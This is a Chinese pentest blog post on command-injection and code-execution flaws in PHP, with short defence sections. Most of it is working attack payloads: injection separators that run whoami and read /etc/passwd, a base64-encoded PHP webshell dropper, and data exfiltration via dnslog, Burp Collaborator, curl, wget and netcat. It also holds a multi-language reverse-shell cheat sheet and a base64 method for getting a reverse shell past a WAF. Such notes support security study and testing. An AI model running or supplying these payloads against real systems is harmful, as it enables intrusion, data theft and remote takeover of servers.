渗透测试_命令注入漏洞

命令执行漏洞

应用在调用函数去执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。
简而言之,可执行系统命令。

PHP相关函数:

system(args) 有回显
passthru(args)(有回显)
exec(args) (回显最后一行-必须 echo 输出)
shell_exec(args) (无回显-必须输出)
反引号:``
popen(handle,mode)(无回显)
proc_open('cmd','flag','flag')(无回显)
$process = proc_open('dir',$des,$pipes);
echo stream_get_contents($pipes[1]);

利用方式

shell/cmd利用技巧

;(分号)
命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执行失败时,不会中断其它命令的执行。
ping -c 1 127.0.0.1;whoami
命令执行漏洞可以直接使用&&或者|和管道命令执行其他命令
命令链接符号解析
| (管道符号)
通过管理符 可以将一个命令的标准输出管理为另外一个命令的标准输入,当它失败后,会执行另外一条命令
ping -c 1 127.0.0.1|whoami
&(后台任务符号)
命令按照顺序(从左到右)被执行,跟分号作用一样;此符号作用是后台任务符号使 shell 在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作
ping -c 4 127.0.0.1&cat /etc/passwd&
&&(逻辑与)
前后的命令的执行存在逻辑与关系,只有【&&】前面的命令执行成功后,它后面的命令才被执行
ping -c 4 127.0.0.1&&whoami
||(逻辑或)
前后命令的执行存在逻辑或关系,只有【||】前面的命令执行失败后,它后面的命令才被执行;
ping -c ||whoami
`(反引号)
当一个命令被解析时,它首先会执行反引号之间的操作。例如执行 echo `ls -a` 将会首先执行 ls 并捕获
其输出信息。然后再将它传递给 echo,并将 ls 的输出结果打印在屏幕上,这被称为命令替换
echo `whoami`
$(command) 命令执行
这是命令替换的不同符号。当反引号被过滤或编码时,可能会更有效。
ping -c 4 127.0.0.1 $(whoami)
win 命令链接符
| & || && 跟 linux 一样
有回显的
发现命令执行漏洞,如果是回显的情况下,获取系统敏感信息。
win 操作系统
type c:\windows\win.ini
linux 操作系统
cat /etc/passwd
无回显
有回显的情况下相对交少,一般在实战环境环境中,无回显的环境较多,证明漏洞存在就需要各种利用外通信技巧

带外通信技巧及绕过

利用管道符号写shell

echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d >shell.php

利用dnslog带外获取信息

ping -c 4 127.0.0.1| ping `whoami`.3el05z.dnslog.cn

使用 burpsuite burpcollaborator , 这是burp内置的一个dnslog 平台模块

ping -c 4 127.0.0.1| ping `whoami`.xlmiw1sf16svvsbtwr5upgac137tvi.burpcollaborator.net

使用 curl 命令

ping -c 4 ||curl http://192.168.0.133/?`whoami`

使用 wget 命令

ping -c 4 ||wget http://192.168.0.133/?`whoami`

netcat
如果目标系统存在有 netcat 在 ubuntu 系统都会存在的。使用命令读取文件传递到远程服务器上

远程服务器监听命令

nc -lp 9999 >passwd

本地执行命令

nc 192.168.0.133 9999 </etc/passwd

会在查看远程服务器生成 passwd 文件

命令执行反弹shell

远程服务器 nc 监听命令
nc -vlnp 8080
受害者反弹 shell 命令,每种语言都有 sock 连接命令,可以根据不通过的环境,选择合适的命令。

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d2>&%d",f,f,f)'
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

如果有 waf 进行连接,可以把语句进行 base64 加密后,因为加密后的字符串没有触发拦截规则,再利用shell 命令再进行解码。
bash -i >& /dev/tcp/192.168.0.103/8080 0>&1
base64 编码后
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAzLzgwODAgMD4mMQ==
受害者执行

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTMzLzgwODAgMD4mMQ=="|base64 -d|bash

防御方式

  • 不执行外部的应用程序或命令
    尽量使用自定义函数或函数库实现外部应用程序或命令的功能。在执行 system、eval 等命令执行功能的函数前,要确认参数内容。

代码执行漏洞

当应用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞(代码执行漏洞)。

PHP
eval()、assert()、preg_replace()

python eval

Java 没有类似于前面两者的函数,但是有反射机制,并且有基于反射机制的表达式引擎,如:0GNL、SpEL、MVEL 等

利用方式

phpinfo();
fputs(fopen("shell.php","a"),"<?php phpinfo();?>");

防御方式

1、使用 json 保存数组,当读取时就不需要使用 eval 了
2、对于必须使用 eval 的地方,一定严格处理用户数据(白名单、黑名单)
3、字符串使用单引号包括可控代码,插入前使用 addslashes 转义(addslashes、魔数引号、htmlspecialchars、 htmlentities、mysql_real_escape_string)
4、放弃使用 preg_replace 的 e 修饰符,使用 preg_replace_callback()替换(preg_replace_callback()) 5、若必须使用 preg_replace 的 e 修饰符,则必用单引号包裹正则匹配出的对象(preg_replace+正则)
posted @   KAKSKY  阅读(265)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· SQL Server 2025 AI相关能力初探
· 单线程的Redis速度为什么快?
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
点击右上角即可分享
微信分享提示